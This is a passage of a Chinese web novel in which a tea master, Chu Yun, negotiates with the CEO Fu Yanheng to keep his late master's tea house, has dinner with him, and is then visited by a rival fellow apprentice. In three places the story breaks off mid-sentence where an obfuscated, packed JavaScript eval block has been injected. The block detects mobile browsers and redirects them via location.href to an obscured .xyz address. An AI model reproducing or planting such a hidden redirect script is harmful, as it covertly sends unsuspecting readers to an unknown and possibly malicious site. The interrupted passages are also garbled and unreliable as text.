楚韫颔首,桌子下面紧捏的手指松开少许:“麻烦您了。” 他喝完那杯咖啡,站起身,正打算离开,夏经理却突然突然从屏幕上抬起了头,急急地说:“请等一下!” 对方目光复杂地看向楚韫,眼神里的无奈像是在说这小子走了什么大运:“秘书部说,傅总今晚原定的行程取消了,您今晚就可以见到傅总。” 10. 谈判 电梯上的数字一层层地跳动着,最终停到了第三十九层。 楚韫跟着夏经理走出电梯,已经有秘书部的人站在那里等候他们。闻时看见来人,向夏经理点了下头,随即转向楚韫,温和而礼貌地说:“楚先生您好,傅总还在忙,麻烦您先和我去休息室等一会儿。” 楚韫直到坐到休息室的沙发上时还有点恍惚,不为别的,本来按照他的预想,今天谈崩之后还要另找方法和亿恒的老板见面,他是真的没有想到事情进展如此顺利,以至于生出了几分不真实感。 就在这时,闻时走进休息室,把一个装着棕红色液体的玻璃杯放在楚韫面前。 对上楚韫略显疑惑的目光,闻时笑着解释道:“这是姜茶,放了红糖。” 他说:“这是老板特意让我准备的。” “……” 这种不真实感更严重了。 楚韫知道他口中的“老板”是谁,但还是觉得有些荒诞,难不成对方知道自己今天淋雨了?还是单纯因为今天是雨天? 楚韫不是一个喜欢胡思乱想的人,这些想法在他心头划过一瞬,随即他也回以真诚的微笑:“谢谢。” 闻时在心里松了口气,心里却在暗暗揣度面前的年轻人和自家老板到底是什么关系,值得自家老板的特别关照。 “您喜欢就好。”闻时八风不动地说,虽然八卦之心已经熊熊燃起,但还是进退得体地没有多问:“我还有工作要处理,您先休息一下,等傅总忙完了我来叫您。” 休息室只剩了楚韫一个人,他喝着加了红糖的姜茶,感觉冰冷的身体渐渐暖和了起来。红糖的甜冲淡了姜茶原本的辛辣,舒服又熨贴。 就在这时,手机振动,是秦澜月发来的微信: [谈得怎么样?] 楚韫动动手指回复: [和那个夏经理谈崩了,一会要和亿恒的老板谈。] 对面的秦澜月手一哆嗦,险些把手机扔到地上: [你不是在和我开玩笑吧?!!] [亿恒的老板?哪个老板??别告诉我姓傅。] 楚韫有些无奈: [没开玩笑,就是傅砚珩。] 他之前做亿恒这个园区项目的背调的时候,顺便查了一下他们的总裁是谁,谁知道映入眼帘的就是“傅砚珩”这个名字,极具视觉冲击力。 好在楚韫心理素质过硬,没给自己侥幸的余地,直接找到网上为数不多的对方的照片,一比对,果然就是之前和他一起在路边摊喝砂锅粥的人。 秦澜月在那边噼里啪啦地一顿打字,企图通过对楚韫进行信息轰炸来表达自己的震惊: [不是,那可是亿恒的老板!!你怎么做到的?!!] [遥想当年他来咱们学校做演讲,我有幸抢到了前面的位置,真实感受到了人家智商颜值三百六十度无死角的碾压,从那个时候开始,我就成了傅砚珩的粉丝。] 停顿了几秒钟,像是在羞涩犹豫,秦澜月又发来了一条信息: [所以要是有可能的话,能帮我要张签名吗?] 楚韫自动忽略掉这句话,懒得和他浪费口舌。 他又看了一会自己收集的材料,思考稍后该如何和对方谈判,休息室的门突然被推开。 “楚先生,傅总那边的工作结束了,您请和我来。” 楚韫于是摁灭了手机,跟着闻时向外走。 . 傅砚珩的办公室开阔敞亮,整体以黑白灰为主基调,线条简洁流畅,透着些意式风格,不难看出办公室主人的低调内敛。 楚韫按照闻时的指引坐在了办公桌对面的沙发上,不多时,一阵沉稳的脚步声传来,有人推开办公室的门走了进来。 楚韫下意识起身,果不其然看到了那张熟悉的脸。 傅砚珩今天穿了一身挺括的黑色西装,银色领带夹反射出淡淡的金属光芒。许是看出楚韫脸上复杂的表情,他眼里闪过一丝微不可查的笑意。他伸出手,声音低沉悦耳:“虽然不是第一次见面,但还是要正式地自我介绍一下。” “你好,我是傅砚珩,亿恒集团的总裁兼CEO。” 楚韫伸出手回握,对方的掌心干燥而温暖。 “你好,傅先生,我是楚韫,‘先春’茶楼的老板。” 傅砚珩“嗯”了一声:“我知道。” 他的目光扫过楚韫的白色衬衫,很自然地开口:“衣服换过了?” 直到看到楚韫脸上流露出的不加掩饰的疑惑,傅砚珩这才想起来,简洁解释道:“刚才在楼下看到你淋雨跑过去。” 原来那杯姜茶不是巧合。 楚韫点点头:“多谢。” 谢的是什么两人心里都清楚。傅砚珩坐进办公椅,捏了捏鼻梁,单刀直入地进入主题:“既然对亿恒开出的条件不满意,那你的想法是什么?” 他的姿态算得上随意,甚至透露出几分高强度工作后的慵懒。但有的人只是坐在那里就像有千钧之力,那是一种上位者不怒自威的气场。 楚韫平静抬眸,悍然与他对视,两人之间形成一种针锋相对的微妙气氛。 “调整方案,放弃单一人工智能科技园区的构想,改为与‘茶文化IP’结合的模式。” 傅砚珩说:“理由。” “首先,望舒巷作为历史悠久的老片区,承载着这座城市的文化记忆,周围的多家博物馆和文化园也决定了望舒巷片区更为突出的文化功能。在这样的基础上,将这里大刀阔斧地改造成人工智能科技园区必然会产生一定意义上的空间割裂感。” “其次,根据我掌握的资料,亿恒集团旗下的瑞禾公司正在打造茶文化IP,包括茶博园、文化体验区,以及生态茶园等具体项目,那么这将是个现成的、有潜力的载体。” 傅砚珩微微抬眉,感到有些意外。楚韫手里的这些信息都是属实的,但是要花不少功夫,而且要有很强的人脉。 楚韫不知道傅砚珩在想什么,他只想尽最大的努力打动对方,将不可能的事情变成可能。 “所以我在想,能不能把亿恒的人工智能技术和这个项目结合在一起,举个例子,亿恒前段时间推出了新一代的AR头显,可以让消费者通过AR扫描触发虚拟茶艺技师进行茶叶冲泡讲解。” 他顿了下,嘴角微弯:“傅总之前不是还和我说不会泡茶吗,有了这样现实生动的讲解,相信您很快就能学会。” “最后一点,”他道:“也是最重要的一点——市场。” “茶文化的受众早已突破传统圈层,年轻化趋势非常明显。他们追求新鲜的体验感,而且非常愿意接受科技。以‘先春’为例,我们的顾客中,有六成是年轻人,而促进他们消费的核心无外乎两点,一个是‘新口味’,一个是‘新体验’。” “将人工智能和传统茶文化结合,能精准打中这个庞大、活跃且消费力强的年轻群体。对亿恒而言,这是为你们的人工智能技术找到一个非常接地气的应用场景和巨大增量市场;对瑞禾来说,是让茶文化IP借用科技的力量,实现爆发式增长,从而达到双赢。” 楚韫止住声音,抿了一口闻时刚刚送过来的温水,静静等待傅砚珩的答复。 傅砚珩没说话,左手手指习惯性地轻叩桌面,那是他思考时的惯常动作。 办公室里安静得针落可闻,轻轻的叩击声仿佛敲在楚韫心上。一分一秒好像被无限拉长,长到他自己都觉得希望渺茫。 楚韫说的问题傅砚珩不是没有想过,之前上面也比较隐晦地和他提出来,亿恒作为人工智能行业巨头,可以适当探索一下科技和文化融合的道路,既符合政策风向,又能在国际上立个标杆。 楚韫的方案,从可行性上看,有根有据,甚至整合了内部资源,但傅砚珩的本质是一个商人,也是一个公私分明的人,再好的概念也需要考虑利益的现实问题,哪怕两人之前有交情,也不会影响他在公司事务上的决断。 叩击桌面的手指停了下来,傅砚珩目光如炬,语气听不出情感:“你的条件是什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383297|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 楚韫柔和地笑了笑,那是一种很少出现在他脸上的表情:“保留‘先春’,不要拆除它。” 他说:“这座茶楼现在无论是热度还是口碑都很不错,可以成为这个项目的助力。” 太阳渐渐西移,鎏金般的晚霞透过办公室巨大的落地窗照进来,空间被割裂成明暗两个部分,傅砚珩在暗,楚韫在明。但它们之间却并非泾渭分明,而是被光影暧昧模糊。 傅砚珩慢条斯理地解开袖扣,将袖口挽上去,露出一段有力的小臂:“我姑且认为你的方案可行,但还有一个最重要的问题——” “我凭什么相信你?或者说,作为合作伙伴,你能拿出什么让我下注的筹码?” 楚韫眉目沉静,回答道:“两个月后,GLGA,茶界顶尖的世界级赛事,在邬桥开赛。”他一字一句清晰有力,“我会拿下前三。” 茶界公认的三大比赛:天工盏、云雾杯,还有一个“Golden Leaf Global Awards”,简称GLGA。前两个是国内最高规格的茶叶比赛,最后这个属于世界范围内的顶尖赛事,能拿下它的前三名,分量不言而喻。 也是这一刻,傅砚珩清清楚楚地看到了楚韫身上夺目的锋芒。 不同于以往的波澜不惊,此刻的他语气笃定,眉眼间的疏离冷淡被冲散,取而代之的是一种流淌在骨子里的、属于顶尖制茶师的桀骜与傲然。 那是一种在专业领域拥有绝对实力的自信,灿烂耀眼到足以让人为之折腰。 傅砚珩的脸庞被笼罩在阴影里,表情难辨。他似乎微微偏了下头,在无声地衡量着这个承诺的分量。 楚韫没有给他太多的思考时间,抛出了他目前拥有的、最后的砝码:“也许傅总不知道,两年前的天工盏大赛上,有一款拿下头名的顶级茉莉花茶,叫‘雪绡’。” 傅砚珩有些惊愕地看向他,几乎已经意识到他接下来要说什么。 楚韫直视着傅砚珩的眼睛,说道:“‘雪绡’出自我手,我就是盈浔。” 傅砚珩想起那晚会所里彭宗甯说过的话,以及那碗暗香浮动、萦绕唇齿的茉莉花茶,仔细一想,一切都有迹可循,也理所应当。 他虽然自己不怎么喝茶,但不代表不会品鉴。楚韫的茉莉花茶,不管是他们第一次见面,还是后来在会所喝到的,都让人惊艳难忘,绝非寻常。 最初的惊讶过去,傅砚珩心里突然泛起了一种古怪诡异的直觉,像是为了验证,他抛出了一个突兀的问题:“……你和廖叙生是什么关系?” 楚韫完全没想到话题跳跃如此之大,愣了一下,还是如实回答道:“他是我师父。” 但他显然是误会了,紧接着解释道:“我知道关于我师父的事会让你有所顾虑,但你放心……我会给我师父正名的,不会影响到项目。” 怪不得不肯接受亿恒之前提出的条件,甚至大费周章地来和自己谈判,连暴露身份也在所不惜—— 这一切都是为了保住廖叙生留下来的那座茶楼。 傅砚珩甚至有些不合时宜地想:“他和他师父一定关系非常好。” “这个我不担心,就算有人从中作梗,亿恒的公关也不会让他们如愿。” 傅砚珩身体前倾,脱离了那片幽昧的昏暗,进入另一个充满光明的世界。 “你的方案和能力打动了我,虽然我也有自己的打算,但不论如何,希望我们合作愉快。” 他起身绕过办公桌走到楚韫面前,主动朝他伸出一只手。 楚韫无声地呼出一口气,站起来伸手回握,眼里漾着细碎的笑意:“合作愉快,傅先生。” 傅砚珩说:“你的确是一个很优秀的谈判家和制茶师,这并不基于你我二人的交情,而是真心的评判。” 楚韫笑了,唇角牵起,眉眼间山水潋滟生姿:“谢谢。” 傅砚珩看了眼腕表。 “那么我的合作伙伴,”他说:“有时间一起吃个晚饭吗?就当是你上次请我喝粥的回请了。” 11. 初衷 其实楚韫是一个对物质感觉很迟钝的人,但当他坐上傅砚珩那辆疑似是限量款的宾利时,还是会为背后代表的金钱气息而失语。 “刚才你见到我的时候,脑子里在想什么?”身旁的傅砚珩含笑问道。 楚韫沉默了两秒,回答:“虽然我后来知道了你的身份,但真正在这种场合见到你,还是会觉得有点不真实。” 其实一切都有迹可循,毕竟这人举手投足间流露出的气质都明里暗里表现出他身份不简单,只是出现在自己生活里的人突然有一天变成了高高在上的、曾经绝不会有交集的人,这种失真感一时让人难以接受。 “是吗,”傅砚珩语气轻缓,带了几分安慰的意味:“不用有顾虑,除了工作时间,我们之间的关系没有任何改变。” 街道两侧暖黄的灯光映在楚韫脸上,为他镀上了一层暖意。他低低地“嗯”了一声,明明声音和以往没有任何区别,但傅砚珩就是从里面听出了几分别扭和不自然。 ……像小刺猬。 傅砚珩不是一个想象力丰富的人,但在这一刻,他的脑海里突然出现了一只浑身裹满了尖刺、肚皮粉嫩柔软的小刺猬。 习惯了疏离冷淡,与任何人都保持距离,只有真正接近了才能发现内里的可爱之处。 昏暗的车厢里,傅砚珩勾起嘴角,像是发现了无人探寻过的珍宝,心中升起隐秘的喜悦和满足感。 楚韫看着窗外璀璨的街景,突然想起了什么:“你怎么会想起问我和师父的关系?” 傅砚珩实话实说:“今天听你和我的谈判,我感觉到这座茶楼对你而言有不一样的意义,就觉得你和廖叙生之间的关系应该不简单。” “我父亲告诉我,‘先春’是廖叙生创办的茶楼。他曾经是‘先春’的常客,那时还是你师父在经营,久而久之两人就认识了。” 楚韫偏头看向他,缓慢地眨了眨眼:“原来是这样。” 他低声说:“我还以为不会有人记得我师父的茶楼。” “不会的,”傅砚珩摇了摇头:“虽然我没喝过你师父的茶,但从你泡的茶身上,我感觉到了一种令人安心的力量。” 他停顿了一下,接着说:“感觉在这一杯茶里,我可以产生一种‘消极避世’的情绪,不用去想那些谈判桌上的尔虞我诈,也不需要思考那些冗杂的集团事务。” 楚韫一瞬不瞬地注视着他,以至于清清楚楚地看见了这个位高权重的男人脸上一闪而过的倦意。 但他已经很久没有听到这样的评价了,久到有关的记忆都蒙上了一层灰尘,直到今天被人触碰,才现出一个浅浅的指印。 于是,楚韫不由自主地说了更多:“其实这就是我师父建立‘先春’的初衷。人的一生总要经历太多的波澜起伏,大到经历生离死别之痛,小到日常生活的磕磕绊绊。他希望所有来到‘先春’的茶客,都能在一杯茶里短暂地忘却那些烦恼。” “很多人都说,‘万般皆苦,唯有自渡’。但我师父不这么觉得。他认为也许只是一杯茶传递出来的温度,或是短暂萦绕在唇齿之间的香气,都可以让别人获得一些慰藉。” 直到最后一个字脱口而出,楚韫这才意识到他说了太多对傅砚珩而言可能是无关紧要的东西。 “……抱歉。” “为什么要道歉?”傅砚珩眸光深沉,路灯的光在他脸上一闪而过,让楚韫清清楚楚看到了那双浅棕色瞳孔里说不清道不明的情绪。 “我自顾自地说了这么多,没顾及到你可能不感兴趣。” “不会,”男人很有耐心地说:“这些想法是我以前从没听到过的,感觉更进一步地了解了你们这个职业。” “更何况,听你说话就像朋友间的闲谈,本身就让人很放松。所以,不要道歉。” . 辋川镇坐落于S市郊区,虽然紧挨着国际化大城市,但这里依旧保持着旧时古韵,像是时光缝隙里被遗忘的世外桃源。 刚刚踏进这里,楚韫对一切都很感兴趣,一直在欣赏路边人家晾晒的蓝印花布。 “小心。” 前面的石板路突然凹陷下去,傅砚珩眼疾手快地捞住楚韫,防止他一脚踩空。 太阳沉入地平线,随着最后一丝光线被吞没,镇上的灯笼一盏盏亮起,霎时漫天绯色如涟漪般荡开。 楚韫朝他抱歉地笑笑:“谢谢,怪我不好好看路。” 傅砚珩很有分寸地收回拽住他小臂的手,不动声色地说:“不用客气。” 他在前面走,楚韫在后面跟着。两人都没再说话。 直到傅砚珩停住了脚步,楚韫才抬起头,面前店铺连一块牌匾都没有,看起来甚至不像是在营业。 傅砚珩撩起蓝印花布门帘,楚韫跟着他走进屋,里面静悄悄的,没有食客,只有几张空荡荡的八仙桌。 一个系着靛蓝围裙的女人听到声音,从里屋走了出来,看见傅砚珩,惊喜地笑道:“哎,这不是小傅吗,今天怎么有时间过来?” 傅砚珩说:“带朋友来尝尝您的手艺。” 女人早就看到他身后昳丽俊美的年轻人,热情地说:“欢迎欢迎,想吃什么和我说,不用客气。” 傅砚珩回头看向楚韫:“徐阿姨烧得一手好本帮菜,不如试试?” 楚韫点点头,客气而礼貌地说:“辛苦了,徐阿姨。” 两人找了一张靠窗的桌子坐下,傅砚珩解释道:“徐阿姨年轻的时候就一直经营这家本帮菜馆,这两年想多休息休息,就基本上不对外迎客了。” 楚韫喜欢这里质朴的烟火气,语气里带了他都不曾察觉的愉悦:“那你是怎么做到让她破例的?” “其实我以前是这里的常客,后来接管了公司,来的次数才变少了。” 楚韫点点头,犹豫一下,难得主动问了他问题:“你刚接手公司的时候,一定有不少人给你使绊子吧?” 傅砚珩看他一眼,微微颔首:“是有一些。” 他想了想:“还记得你当时问我,我的微信头像是哪里吗?” 楚韫有印象,就听他继续说:“当时我上任后主持的第一场跨国并购案,就是在离那个小镇不远的斯特拉斯堡。事情结束后,那家公司的老板带我去了那里看风景。” 其实那一路上还有绿松石般的海水、无尽的薰衣草花海,但他当时脑子里一直紧绷着一根弦,根本无暇欣赏。甚至因为还要赶飞机回国处理集团里作乱的傅氏旁支,他只在那待了短短四个小时。 “现在想到那里,很多都已经模糊了,印象最深的就是那天的落日。”在某种程度上改变了他那时候的心境,让他的灵魂得到了短暂的休憩。 他没再具体说下去,楚韫也没再深问。 这样浅尝辄止就可以了,他们两个的人生轨迹虽然在现下短暂地交错,却终究是不同世界的人。 里屋传来油热下锅的噼啪声,香气很快盈满了整个屋子。 不多时,徐阿姨端着一碗油爆虾走了出来,笑眯眯地说:“你们先吃吃看,我好久没做了,不知道还是不是以前的味道。” 琥珀色的油爆虾被盛在青瓷碗里,散发着油亮的光泽。傅砚珩示意楚韫先来,自己随后也夹起一只,认真地尝了尝,勾起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383298|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角:“还是以前的味道。” 楚韫不习惯吃虾头,耐心地把它咬下来才把虾肉送到嘴里。他顿了一下,眼里浮现笑意:“真的很好吃。” 徐阿姨放心了,笑着说:“你们慢慢吃,我再去做别的。” 八仙桌上很快又摆上了蟹粉豆腐和一大碗腌笃鲜。楚韫下了飞机就去见了夏经理,后来又和傅砚珩谈判,中途一直没有吃过东西,早就饥肠辘辘。更何况徐阿姨的本帮菜确实做得堪称一绝,因此整个吃饭的过程中他都在专注于食物,几乎没说过什么话。 傅砚珩也难得多吃了些,主要是看着对面人吃饭,自己的胃口似乎也会变好。 楚韫虽然吃得快,但姿态依旧优雅。他放下碗筷,一抬头就看见傅砚珩正支着下颌看他。 “……我脸上有什么东西吗?” 傅砚珩只是觉得他吃东西的样子很有趣,但为了不让楚韫感到被冒犯,便扯谎道:“没有,刚刚在想事情。” 楚韫虽然觉得有些奇怪,但还是接受了这个理由。他客气又真挚地说:“谢谢你今天带我来这里,这里的一切我都很喜欢。” 无论是这个世外桃源般的辋川镇,还是徐阿姨为他们特意做的本帮菜,一切都让他觉得舒适而安心。 傅砚珩就知道他会喜欢这里,才会让司机开过半个城市来这边,闻言微微颔首:“不用谢,我说了,这算是回请。” . 两人和徐阿姨道别,回到车上,傅砚珩偏头问他:“你住在哪?” 楚韫报了他家的地址:“麻烦你了。” 宾利平稳地行驶在路上,傅砚珩突然开口:“楚韫。” 对方“嗯”了一声,末尾语调上扬。 “我们的关系有很多种,主顾关系、合作关系,无论在哪段关系里,你都不需要这么客气。” 楚韫累了一天,吃完饭困意就涌了上来,思绪有些缓慢。听到这话,他也没什么反应,只是顺从地点了点头。 但他终究还是没睡着,一是旁边坐着的傅砚珩存在感太强,冷冽的雪松香总是若有若无地飘过来;二是他不喜欢在别人的车里睡觉,除非足够熟悉。 大概是公司有什么紧急事务,回去的路上傅砚珩一直在拿电脑处理工作。中途他还问楚韫会不会被打扰到,得到否定答复后才放心地继续。 楚韫看着窗外城市的夜景,耳旁却是男人低沉的嗓音说着法语。玻璃窗映出傅砚珩的身影,他显然是在开会,戴了蓝牙耳机,面无表情地听着对面的介绍,不时会开口一针见血地指出问题。 楚韫大学辅修过法语,但是好多年没有练习过,现在已经基本上忘了个七七八八,他只能从傅砚珩的话里听出几个词,都不是什么好话,为对面的员工默哀三秒钟。 车子停在小区门口,司机下车帮忙把行李从后备箱拿出来。楚韫见傅砚珩还在开会,便拿手指戳了一下他的胳膊,用口型无声说道:我先走了。 谁知对方直接摘下了蓝牙耳机:“没听清。” “我说,我先走了,谢谢你送我回来。” 这句话完全是楚韫下意识说出来的,自己没觉得什么不对,结果傅砚珩挑了挑眉,道:“重说。” 楚韫这才想起来刚才傅砚珩说过的话,心想这人还真执着。他扯了扯嘴角,无奈地说:“我走了,再见。” 没有道谢,傅砚珩反而听着更舒服。他问:“用不用让季叔帮你把行李拿上去?” 楚韫摇头:“不用了,箱子里也没什么东西,我自己拿上去就好。” “嗯,”傅砚珩见状也没再坚持,“早点休息。” 12. 师兄 “什么?!” 楚韫被秦澜月的大嗓门吵到了,抬手往下压了压,示意他稍安勿躁。 但秦澜月还沉浸在巨大的震惊之中,一边来回踱步,一边自言自语:“我们,一个小小的茶楼,要和亿恒集团合作了——” 楚韫躺在躺椅里,姿态悠闲,表情嘲讽:“你这二十五年是白活了吗?能不能镇定一点。” 在他眼里,穿着成套西装、戴着金丝眼镜,兢兢业业走着高级商务经理风的秦澜月此刻如同突然返祖,达尔文看到都要惊怒交加地死而复生。 秦澜月好不容易平复了一下颤抖的心脏,突然想起一个至关重要的问题:“你是怎么说动傅砚珩的?” 楚韫左手搭在额头上,双目微阖,昨天实在太过劳累,此刻他还很疲倦:“告诉他我是盈浔,并且向他保证这一届的GLGA拿下前三名。” 秦澜月点头,叹息道:“怪不得,这次你可真是下了血本了。” 他就说,以傅砚珩那样精明的为人怎么会轻易答应楚韫的条件,原来是楚韫自爆身份,这才为“先春”争取了一线生机。 “也不算太亏,”楚韫忽然睁开眼睛,看着空气里飘荡的细小尘埃:“参加这届的GLGA也是我本意,顺水推舟罢了。” 秦澜月立刻警觉起来,狐疑地问道:“当年你参加‘天工盏’还是因为你师父硬让你去的,这两年的赛事你又一概不参与,现在怎么想要去GLGA了?” 楚韫没说话,秦澜月也能猜到几分:“……周万山和你说什么了?” 楼下茶客的交谈声传到二楼,隐隐约约还能听见两句赞美的声音。楚韫嘴角弧度微不可查地上扬了几分,只是语气依旧是平静的:“我本来以为宋清峦只是把‘雪听松风’的配方泄露给了余晋华,但事实上,当年‘云栖竹露’生产线被破坏的事情也有他的手笔。” 秦澜月立刻明白了:“宋清峦一定会参加GLGA,你要在那打败他?!” 楚韫不怎么参加茶界举办的比赛,一部分原因是他本身性子淡,与其花几个月的时间备赛,不如好好研究研究工艺。更重要的是,他以前总是觉得一份茶叶制作的匠心不应该简简单单用一场比赛的名次来衡量。 但有时候,世俗的眼光就是这样,想要获得正义和拥护,就要通过比拼厮杀的方式证明你的实力。只有拥有了话语权,才会有人相信他说的话,他才能为长眠地底的师父沉冤昭雪。 秦澜月推了推金丝眼镜,还是没忍住爆了粗口,愤然道:“艹,我就说余晋华怎么冒着那么大的风险把宋清峦收为徒弟,合着这两个是一丘之貉!” 楚韫眉眼间表情很淡,从他脸上已经找不到愤怒、不平这类激烈的情绪,但在某种程度上,这反而更加渗人。 “从宋清峦帮着余晋华做事开始,他们两个的命运就彻底绑在了一起。他们互相为彼此的软肋,因此想要让他们这对师徒同盟分崩离析,其实没有那么难。” 秦澜月虽然平时不着调,但关键时刻不会掉链子,当即拍胸脯表示有需要尽管找他。 楚韫起身拍拍他的肩膀,语重心长地说:“你帮我管好‘先春’,再成功考上CPA,我就已经很感激了。” 秦澜月慷慨激昂的表情僵在脸上,随即愤愤地说:“我看你就是不信任我,你这样太让我伤心了——” 话说到一半,他像是突然想起什么,期待地问:“对了对了,我偶像的签名你弄到了吗?” 楚韫顿了一下,随即坦坦荡荡地对上秦澜月:“没有,忘了。” 秦澜月痛斥他:“你怎么能这样,你知不知道傅砚珩对于每一个从事金融行业的人来说是怎样的存在——” “你可以自己向他要。” “?” 楚韫耐心地解释道:“你见过他的,之前那个难缠的江祈年你还记得吗?” 秦澜月点头。 “和他一起来的另一个人就是傅砚珩。” 秦澜月麻木地哦了一声。 “还有上次帮我实施急救的人也是他。” 秦澜月如梦初醒,秦澜月大彻大悟,秦澜月目瞪口呆。 “什么?我当时还想他怎么和我偶像那么像——!!!” . 宽大的办公桌上摆了几份文件,闻时道:“傅总,这是楚先生的信息。” 傅砚珩嗯了一声:“我知道了,辛苦了。” 他打开文件袋,从里面抽出薄薄三页纸。里面详细地记录了楚韫这二十五年来的经历。他一行行慢慢地看下去,却在家庭成员那栏停住了—— 母亲楚丽盈,父亲未知。 男人眼中闪过一丝疑惑,眉峰微蹙,接着往下看。 九岁母亲自杀于家中,十岁进入孤儿院,同年被廖叙生收养,并被收为徒弟,十七岁进入xx大学生命科学学院学习,二十岁继续本校研究生。 右上角是一张照片,里面的年轻人手捧奖杯站在领奖台上,微长的碎发有些遮住眉眼,但依旧可见那张青涩优美的面容。他看起来风轻云淡,似乎并没有因为初出茅庐就获得这样一个重量级的比赛而感到欣喜若狂。 二十一岁,获得“天工盏”大赛第一名。 二十二岁,师父廖叙生因心脏骤停在家中去世。 …… 这个年轻人的人生似乎就停留在了二十二岁这一年,后面的经历简单到乏善可陈。 但傅砚珩不会这么认为。在他眼里,楚韫是一个执拗到有些偏执的人,有着清晰的目标和规划,会为了达成它而不惜一切代价。并且从那场谈判中就能看出来,这个人头脑缜密,能在短时间内重新做出一份打动他的概念雏形。 这样一个人,他空缺的三年必然不会是无波无澜的平静洋面,这底下又潜藏着什么不为人知的秘密? 傅砚珩突然想起楚韫说过的话,会与他的师父有关吗? 手机的提示音打断了他发散的思绪,傅砚珩拿起来看了一眼,是楚韫发来的一段视频。 [楚韫:我看你工作很忙,先给你拍个视频看一下,省得你抽时间再跑一趟了。] 画面中的楚韫坐在茶台后,一边泡茶一边解释步骤,明明是很正常的动作,但由他做起来总是有一种优美的艺术感。现在正是盛夏,也许是觉得屋子里有些热,他领口上的扣子难得没有全部扣上,而是松开了一颗,露出一小段洁白的锁骨,连傅砚珩之前见过的那段红绳都若隐若现。 直到视频结束,画面变成一片黑暗,傅砚珩才意识到他一直盯着人家的锁骨,以至于那些泡茶的步骤一点都没听进去。 他无奈地笑了笑,回复道: [谢谢,你的视频对我很有帮助,楚老师。] 然后动动手指,认命地再次点开视频。 . 又来了,那种奇怪却又说不上来具体缘由的感觉。 楚韫盯着屏幕上“楚老师”三个字看了几秒,回复了一句“不客气”,熄灭掉手机屏幕。 茶室的门被人轻轻敲响,是店里新招的茶博士:“老板,楼下有一位先生想要找您,他说他姓宋。” 他话音刚刚落下,秦澜月从一楼飞奔上来,咬牙道:“楚韫,宋清峦来了——” 楚韫其实不太意外,宋清峦来找他是迟早的事,只是没想到会这么快。 “用不用我直接把他赶走——” “让他上来吧。” 秦澜月愣了愣,就见楚韫神色淡淡,哂笑道:“他来了,就证明余晋华坐不住了。” . 宋清峦踏入这座茶楼的那一刻,真真切切感受到了什么叫物是人非。 明明一砖一瓦、一草一木都没有什么变化,但这里就是和廖叙生还在时不一样了。他还记得当年廖叙生建立这座茶楼时,曾经语重心长地叮嘱他和楚韫:“师父开这座茶楼不为盈利,只求给每一位茶客片刻舒心,如此,它也就算完成了自己的使命了。” 那时廖叙生名气很大,有许多茶客都是慕名而来,这间巷子深处的茶楼一度不缺显贵名流。但他从来不会因为客人的身份背景而有任何偏颇,一律一视同仁。 他走在青石板路上,看见上至耄耋老人,下到年轻男女,几乎每个人都在享受着这片刻的宁静惬意。有穿着汉服的年轻女孩摆出不同的姿势,对面的摄影师为她定格下美丽动人的瞬间。 现在的‘先春’,更像一只脱胎换骨重获新生的蝶,振翅飞向更加广阔的天地。而宋清峦心里清楚,这都是楚韫的功劳。 他对迎上来的茶博士歉意地笑笑,表示自己不喝茶:“我想要见一下楚先生,他今天在店里吗?” 茶博士说:“在的,但我要去和老板说一声。” 宋清峦点点头:“麻烦,辛苦了。” 他缓缓巡视着这间茶楼里的一切,目光突然与柜台后的男人对上。看对方的穿着打扮,像是这里的经理。 然后他就眼睁睁地看着对方缓缓皱起了眉头,看向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383299|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光有几分不可置信,随即像是终于确认了什么似的,匆匆上了楼。 宋清峦有些莫名其妙,因为他确定自己之前从来没有见过对方。 不久,刚才的茶博士过来,请他上去。 . 楚韫看着出现在茶室门口的身影,没说话,也没有任何表示。 秦澜月经过他身边时翻了个大大的白眼,宋清峦没管他,而是笑着开口:“小楚,好久不见了。” 楚韫:“是吗,也就两三年吧。更何况你应该心知肚明,我并不想见到你。” 宋清峦的笑意僵在脸上,他没想到对方如此直白,连一句客套话都懒得说。 “还有,别叫我小楚。”楚韫毫不掩饰眉眼间的冷淡:“你没资格。” 对方忍耐力很好,他把话说成这样都没有生气,反而更加温和地说:“你我总算师兄弟一场,好歹请我坐坐?” 楚韫墨色的瞳孔冷冷地盯着他,里面像是涌动着无数利刃暗芒:“你随意。” 宋清峦被这样的目光注视着,感到一阵头皮发麻。他定了定神,坐到了楚韫对面,看见茶台上装着茶水的杯盏,下意识问道:“刚才有客人?” 澄澈透明的茶水还有热气升腾,清幽暗香在这间茶室里缓缓浮动,那是属于茉莉花茶的香气。 楚韫毫不客气地说:“与你无关,也不需要和我叙那些可笑的旧情,有什么话就直说。” 宋清峦也不再绕弯子:“周万山在哪?” 